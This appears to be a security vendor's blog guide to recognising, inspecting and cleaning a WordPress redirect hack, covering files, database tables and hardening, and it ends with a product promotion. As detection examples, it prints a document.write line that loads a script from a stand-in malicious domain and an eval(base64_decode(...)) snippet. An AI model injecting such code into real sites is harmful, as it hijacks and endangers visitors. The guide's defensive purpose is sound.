How to Fix the WordPress Redirect Hack

Published 24 December 2024
Updated 21 December 2024
Table of Contents

As a WordPress site owner, dealing with the aftermath of a redirect hack can be a daunting and frustrating experience.

Malicious actors are constantly finding new ways to exploit vulnerabilities and hijack your website, redirecting your visitors to spammy or malicious destinations without your knowledge or consent.

In this comprehensive guide, we’ll walk you through a step-by-step process for identifying, addressing, and recovering from a WordPress redirect hack. You’ll learn how to recognize the signs of a compromise, implement immediate response protocols, thoroughly scan and clean your site, and put in place long-term security measures to prevent future attacks.

Whether you’re currently dealing with a redirect hack or want to proactively strengthen your WordPress site’s defenses, this article will provide you with the knowledge and actionable steps needed to regain control of your online presence and keep it secure. By the end, you’ll be equipped with the tools and strategies to detect, mitigate, and safeguard your WordPress site against this persistent threat.

So, let’s explore how you can fix the WordPress redirect hack and protect your website from future compromise.

What is a WordPress Redirect Hack?

A WordPress redirect hack is a malicious attack where cybercriminals inject unauthorized code into your website’s files or database, forcing visitors to be redirected to different websites without their consent. These attacks often exploit vulnerabilities in outdated themes, plugins, or core WordPress files, allowing hackers to insert malicious scripts that hijack your site’s normal functioning. The redirects can be subtle and selective, making them particularly challenging to detect immediately.

For example, Pharma Hack is one of the most notorious redirect attacks targeting WordPress sites. This attack specifically redirects visitors to illegal pharmaceutical websites selling unauthorized medications. The hack is particularly insidious because it often:

  • Only redirects users coming from search engines
  • Displays different content to site administrators to avoid detection
  • Injects spam links into legitimate posts and pages
  • Creates hidden pages filled with pharmaceutical-related content

The injected code typically resides in critical WordPress files such as .htaccess, wp-config.php, or theme files, and may be encrypted or obfuscated to avoid detection. Additionally, hackers use sophisticated techniques like base64 encoding or JavaScript injection to hide their malicious code within legitimate files.

Modern redirect attacks use sophisticated device detection to target specific users. For example, these attacks:

  • Redirect mobile users to malicious app stores
  • Target specific geographic locations with region-specific scams
  • Deliver different malicious content based on the user’s operating system
  • Show clean pages to desktop users while targeting mobile visitors
  • Use user-agent detection to avoid security scanners

All these obfuscation techniques make them harder to detect and monitor. 

Black Hat SEO Redirects

Black Hat SEO redirect attack is a popular attack that focuses on manipulating search engine rankings by exploiting your website’s established authority. These attacks typically:

  • Insert hidden links throughout your content
  • Create invisible iframe elements containing spam content
  • Generate thousands of hidden pages with keyword-stuffed content
  • Redirect search engine crawlers to different content than human visitors
  • Exploit your site’s SEO juice to boost rankings for malicious websites

You can learn more about this topic in a previous blog post, where we explained what SEO spam is and how it impacts your site.

Recognizing the Signs of a Redirect Hack

We have understood how a redirect attack works, but now let’s see how to identify if your site was a victim of a redirect attack.

Understanding Unauthorized Redirects

Unauthorized redirects are often the first visible sign of a WordPress hack, and they can happen in several distinct ways. When users visit your website, they may be unexpectedly redirected to different destinations, ranging from spam sites to malicious domains. These redirects can be:

  • Selective Targeting: Only affecting specific user groups or geographic locations
  • Time-Delayed: Occurring after a set period on your site
  • Conditional: Triggering only for visitors from search engines
  • Intermittent: Happening randomly to avoid detection

The most common indicator is when visitors report being sent to unexpected websites, particularly those promoting questionable products or services. These redirects often bypass your site’s normal navigation structure and can occur at any point during the user’s visit.

Google Search Results Spam

When your WordPress site is compromised, Google search results often reveal telling signs of manipulation. For example, you might see the following search result anomalies:

  • Unexpected keywords appearing in your site’s search snippets
  • Adult content or pharmaceutical terms in your meta descriptions
  • Unrelated business categories appearing in local listings
  • Spam links showing up in site descriptions
  • Modified title tags containing suspicious keywords
  • Increased “Discovered – currently not indexed” pages
  • Sudden drops in search performance
  • Security issues reported in Google Search Console
  • Unexpected increases in indexed pages

Malicious Push Notifications

Compromised WordPress sites often exhibit suspicious push notification behavior. If your website has been hacked, then you can expect the hacker to send the following notifications:

  • Unsolicited subscription prompts
  • Spam notifications appearing from your domain
  • Modified service worker files
  • Unauthorized notification scripts in headers
  • Push notification code in unexpected locations

Hackers also often inject malicious notification scripts that aggressively request notification permissions. This allows them to display promotional content without consent and generate revenue through affiliate spam.

JavaScript Anomalies in index.php

When hackers compromise a website, they often try to inject it with malicious JavaScript code. The index page of your website is a prime target for hackers, and you can easily inspect the source code of your site as there are several telltale signs of compromise:

  • Minified JavaScript appearing in index.php
  • Encoded strings within script tags
  • External script references to unknown domains
  • Self-modifying JavaScript code
  • Document.write statements with encoded content

// Suspicious code often looks similar to:

document.write(unescape('%3Cscript src="' + 'http://malicious-domain.com/inject.js' + '"%3E%3C/script%3E'));

One of the most critical indicators of a WordPress redirect hack is the presence of suspicious eval() and base64_decode() combinations:

eval(base64_decode('PHN0eWxlPi5oaWRkZW57ZGlzcGxheTpub25lfTwvc3R5bGU+'));

When evaluating the code snippets, you should look out for the following patterns:

  • Multiple layers of encoding
  • Obfuscated function names
  • Dynamic code execution
  • Hidden iframe insertions
  • Encrypted payload delivery

How To Do A Manual Inspection To Detect A Redirect Hack

If you suspect that your website has been hacked, then you can do three main things to inspect it. 

#1 – Manual File System Analysis

When investigating potential WordPress compromises, the first thing you should do is examine critical system files. Start by inspecting wp-config.php, which contains your site’s core configuration settings. Look for any unfamiliar database connection parameters, unexpected constants, or suspicious include statements.

Next, examine index.php for unauthorized JavaScript insertions or abnormal redirect code, paying special attention to any encoded strings or external script references. The functions.php file in your active theme requires careful scrutiny for injected functions, particularly those containing eval() or base64_decode() commands.

Both header.php and footer.php commonly house malicious tracking codes or redirect scripts, so check for any script tags referencing unknown domains or suspicious CDN endpoints.

To identify recently compromised files, use the command line tool with find /path/to/wordpress -type f -mtime -7 -ls, which reveals all files modified within the past week – an invaluable method for tracking unauthorized changes across your WordPress installation.

After executing the above command, if you find any modified files, then you can inspect them manually using the following tips:

Inspecting wp-content/plugins Directory

The plugins directory requires careful examination as it’s a common target for malware injection:

  • Review all plugin files for unauthorized modifications
  • Check for deactivated plugins containing malicious code
  • Scan for hidden plugin directories
  • Verify plugin versions against official repositories
  • Remove any nulled or pirated plugins
  • Look for plugins with suspicious file permissions
  • Monitor for unexpected plugin auto-updates

Inspecting wp-content/themes Directory

Theme directories often harbor malicious code in these locations:

  • header.php and footer.php files
  • functions.php modifications
  • Template files containing encoded content
  • Inactive themes serving as malware hosts
  • Custom page templates with injected code
  • Theme customizer files
  • Style.css with hidden malicious content

Inspecting wp-content/uploads Directory

The uploads directory requires special attention due to its write permissions:

  • Scan for executable files (.php, .js, .exe)
  • Check for hidden directories
  • Review recently uploaded files
  • Monitor for unusual file types
  • Examine file permissions
  • Look for encoded image files
  • Verify media file integrity

Inspecting wp-includes Directory

The wp-includes directory contains critical WordPress files that should remain untouched:

  • Compare against a clean WordPress installation
  • Check for modified core files
  • Look for additional unauthorized files
  • Review file permissions
  • Monitor for unexpected changes
  • Verify JavaScript library integrity
  • Check for injected includes

#2 – WordPress Database Inspection – Posts Table

You should definitely inspect the wp_posts table to detect malicious content injections within your WordPress site’s content. Begin by examining the post_content fields for hidden spam typically concealed through CSS (display: none) or positioned off-screen using negative margins.

You can search for unauthorized hyperlinks, particularly those using encoded URLs or leading to pharmaceutical, gambling, or adult content sites. Review post_content_filtered for any signs of automated content modifications, especially in older posts where hackers often inject malicious content.

Next, you can investigate post_status values to identify unauthorized published content that bypasses normal publishing workflows. Check post_name (permalink) values for unexpected changes that could indicate SEO hijacking attempts, paying particular attention to posts with high search engine rankings. Use SQL queries to identify posts modified outside normal business hours or by suspicious user IDs.

#3 – WordPress Database Inspection – Options Table

The wp_options table contains crucial configuration settings that hackers frequently target to maintain persistent access and control over WordPress sites. Start by verifying the siteurl and home options match your legitimate domain – any discrepancies here could indicate a redirect hack.

Next, review all active_plugins entries to ensure no unauthorized or unfamiliar plugins have been activated. You can examine option_value fields for any base64 encoded content or JavaScript, particularly in widgets, theme_mods, and custom_css options.

Check for recently added options with suspicious names containing random characters or common spam keywords. Pay special attention to any options containing URLs, especially those referencing external domains or CDN services. Use phpMyAdmin or a similar tool to sort options by option_id to identify newly created entries and compare autoload values to identify options loaded on every page request – a common technique used by hackers to ensure their malicious code persists across the site.

Using Automated Detection Mechanisms

If you have a sufficiently large website, then it can be hard to manually inspect the entire code. You can use the following automated techniques to inspect your website:

  1. File Integrity Monitoring

File Integrity Monitoring is a security mechanism within WordPress installations that continuously observes and documents any alterations to the core system files. It maintains a baseline of the standard WordPress installation’s file signatures through checksum verification processes alongside real-time monitoring capabilities that instantly flag unauthorized modifications to essential WordPress core files, including themes, plugins, and configuration files.

These tools also offer advanced timestamp tracking mechanisms that can record precise moments of file access modification and creation patterns throughout the entire WordPress directory structure. This allows you to establish a robust audit trail of all file-related activities within the system while simultaneously monitoring file permission changes that could indicate potential security breaches or unauthorized access attempts.

Additionally, these monitoring systems implement intelligent detection algorithms capable of identifying newly created files that don’t match standard WordPress installation patterns. These files can potentially indicate malicious file injection attempts or unauthorized system modifications.

  1. Code Analysis Tools

Code Analysis Tools are security inspection systems that use advanced pattern recognition algorithms to scan WordPress installations for known malicious code signatures. These tools often maintain comprehensive databases of documented attack patterns to identify potential threats hidden within the WordPress codebase. 

They can perform a deep inspection of PHP JavaScript and database contents with particular emphasis on detecting suspicious function calls commonly associated with malicious activities such as base64 encoding eval functions and unauthorized database queries.

Scanning and Cleaning Process for Compromised WordPress Sites

If you are using Apache servers, the cleanup process should start with sanitizing the .htaccess file, as it is a critical component often targeted in WordPress redirect attacks. You should carefully remove any suspicious redirect rules, malicious rewrite conditions, or unauthorized directives, while maintaining essential WordPress functionality.

Security experts recommend creating a backup of the existing .htaccess file before implementing a clean version based on WordPress defaults. Then, carefully reintegrate any legitimate custom rules needed for your site’s specific functionality. This process requires meticulous attention to detail, as a small mistake can lead to site accessibility issues or security vulnerabilities.

Backdoor removal requires a sophisticated approach to identify and eliminate unauthorized access points within the WordPress installation. This process involves scanning for common backdoor signatures, including encoded PHP shells, hidden admin accounts, or modified core files that provide unauthorized access. Security professionals employ specialized tools to detect obfuscated backdoor code, often hidden within legitimate WordPress files or disguised as standard WordPress functions. 

The index.php file requires particular attention during the cleaning process, as it is a common injection point for malicious code. You should carefully examine the file for unauthorized modifications, injected JavaScript, or encoded PHP commands that could facilitate redirects or other malicious activities. Security experts at Patchstack recommend comparing the current index.php against a clean version from the same WordPress version, using specialized diff tools to identify any modifications. 

Finally, before you start database cleaning, you should prepare a systematic approach to identify and remove malicious content while preserving legitimate data. You will need to carefully examine database tables for signs of infection, including spam content, injected links, or unauthorized administrative users.

We strongly recommend creating a complete database backup before beginning the cleaning process and then methodically reviewing each table for signs of compromise. Particular attention must be paid to the wp_options table, where malicious scripts can be stored as serialized data, and the wp_posts table, which may contain hidden spam content or injected malicious links. 

Performing these steps is a good starting point; however, if you want to know more about malware removal, you should read our comprehensive WordPress malware removal guide.

After Action Report

After conducting a thorough investigation and cleaning process for a compromised WordPress site, several crucial steps must be taken to ensure the site’s long-term security and prevent future attacks.

  1. First and foremost, it is essential to document all findings and changes made during the recovery process. 
  2. Secondly, administrators should create restoration points before making any significant modifications to the site. These checkpoints will allow for easy rollback in the event that the cleaning process introduces unintended consequences or further compromises the system. 
  3. By deploying specialized security plugins or services that continuously monitor WordPress core files, themes, and plugins for unauthorized changes, administrators can establish an early warning system to detect potential reinfections or new intrusion attempts. 
  4. Updating all security credentials, including administrator passwords, database connections, and any other sensitive access points, is essential to prevent the original compromise from persisting. This credential rotation process should extend to any third-party services, FTP/FTPS accounts, and external software integrations that may have been affected by the breach.
  5. By configuring WordPress and the hosting environment to capture more detailed event logs, security teams can better monitor ongoing activities, detect anomalies, and investigate future incidents. 
  6. Implementing additional security hardening measures, such as enabling two-factor authentication, configuring strict user role permissions, and implementing a web application firewall, can further strengthen the site’s defenses against future attacks. 

Finally, you should understand that security is not a one-time thing. Administrators should perform regular security audits to assess the site’s overall security, identify emerging vulnerabilities, and implement timely updates and patches. This ongoing security maintenance will help keep the WordPress installation protected against the latest threats and ensure that the site remains a secure and reliable platform for its users.

However, if all that sounds like too much work, then don’t worry – this is where Patchstack comes in!

Patchstack’s team of security experts constantly scans the WordPress ecosystem to identify and address vulnerabilities before malicious actors can exploit them.

By integrating Patchstack, you can proactively protect your site, stay ahead of emerging threats, and enjoy peace of mind knowing your online presence is secure.

Install Patchstack today to safeguard your WordPress website.

The latest in WordPress how-to's

Looks like your browser is blocking our support chat widget. Turn off adblockers and reload the page.
crossmenu